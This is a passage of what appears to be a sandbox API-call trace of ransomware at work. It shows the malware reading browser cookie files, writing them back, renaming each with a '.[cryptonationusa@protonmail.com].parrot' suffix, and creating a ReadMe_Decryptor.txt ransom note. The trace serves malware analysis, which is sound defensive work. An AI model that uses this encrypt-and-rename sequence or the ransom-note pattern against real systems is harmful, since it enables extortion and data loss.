dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x186, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.862] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.862] ReadFile (in: hFile=0x2b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0056.968] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.969] ReadFile (in: hFile=0x2b0, lpBuffer=0x3780040, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x6e, lpOverlapped=0x0) returned 1 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0056.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0056.969] GetLastError () returned 0x0 [0056.969] SetLastError (dwErrCode=0x0) [0056.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.969] GetLastError () returned 0x0 [0056.969] SetLastError (dwErrCode=0x0) [0056.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.969] GetLastError () returned 0x0 [0056.969] SetLastError (dwErrCode=0x0) [0056.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5f4c58 [0056.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0056.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0056.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0056.969] GetLastError () returned 0x0 [0056.970] SetLastError (dwErrCode=0x0) [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0056.970] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0056.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0056.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0056.971] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0056.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.971] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x188) returned 0x5fc6d0 [0056.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0056.971] WriteFile (in: hFile=0x2b0, lpBuffer=0x5fc6d0*, nNumberOfBytesToWrite=0x188, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5fc6d0*, lpNumberOfBytesWritten=0x18f1c4*=0x188, lpOverlapped=0x0) returned 1 [0056.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0056.971] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x186, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.971] CloseHandle (hObject=0x2b0) returned 1 [0056.972] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0056.972] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x5fc6d0 [0056.972] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0056.972] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.973] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0056.973] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0056.973] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0056.973] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0056.973] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0056.973] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0056.973] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0056.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.974] GetFileType (hFile=0x2b0) returned 0x1 [0056.974] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.984] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@google[2].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0057.095] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x114 [0057.095] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22c, nNumberOfBytesToLockHigh=0x0) returned 1 [0057.095] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0057.095] ReadFile (in: hFile=0x2b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0057.096] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.096] ReadFile (in: hFile=0x2b0, lpBuffer=0x3780040, nNumberOfBytesToRead=0x114, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x114, lpOverlapped=0x0) returned 1 [0057.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0057.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0057.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0057.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0057.096] GetLastError () returned 0x0 [0057.097] SetLastError (dwErrCode=0x0) [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0057.097] GetLastError () returned 0x0 [0057.097] SetLastError (dwErrCode=0x0) [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.097] GetLastError () returned 0x0 [0057.097] SetLastError (dwErrCode=0x0) [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120) returned 0x5755d8 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x230) returned 0x28d5988 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5755d8 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.097] GetLastError () returned 0x0 [0057.097] SetLastError (dwErrCode=0x0) [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0057.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0057.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0057.098] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5fc6d0 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x238) returned 0x28d30d0 [0057.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0057.098] WriteFile (in: hFile=0x2b0, lpBuffer=0x28d30d0*, nNumberOfBytesToWrite=0x238, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x28d30d0*, lpNumberOfBytesWritten=0x18f1c4*=0x238, lpOverlapped=0x0) returned 1 [0057.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0057.099] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0057.099] CloseHandle (hObject=0x2b0) returned 1 [0057.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0057.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x5fc6d0 [0057.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0057.100] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0057.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0057.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0057.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0057.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0057.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0057.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0057.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0057.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0057.102] GetFileType (hFile=0x2b0) returned 0x1 [0057.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0057.254] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0057.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0057.255] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x56 [0057.255] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16e, nNumberOfBytesToLockHigh=0x0) returned 1 [0057.255] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0057.255] ReadFile (in: hFile=0x2b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0057.344] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.344] ReadFile (in: hFile=0x2b0, lpBuffer=0x3780040, nNumberOfBytesToRead=0x56, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x56, lpOverlapped=0x0) returned 1 [0057.344] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0057.344] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0057.345] GetLastError () returned 0x0 [0057.345] SetLastError (dwErrCode=0x0) [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0057.345] GetLastError () returned 0x0 [0057.345] SetLastError (dwErrCode=0x0) [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.345] GetLastError () returned 0x0 [0057.345] SetLastError (dwErrCode=0x0) [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0057.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0057.345] 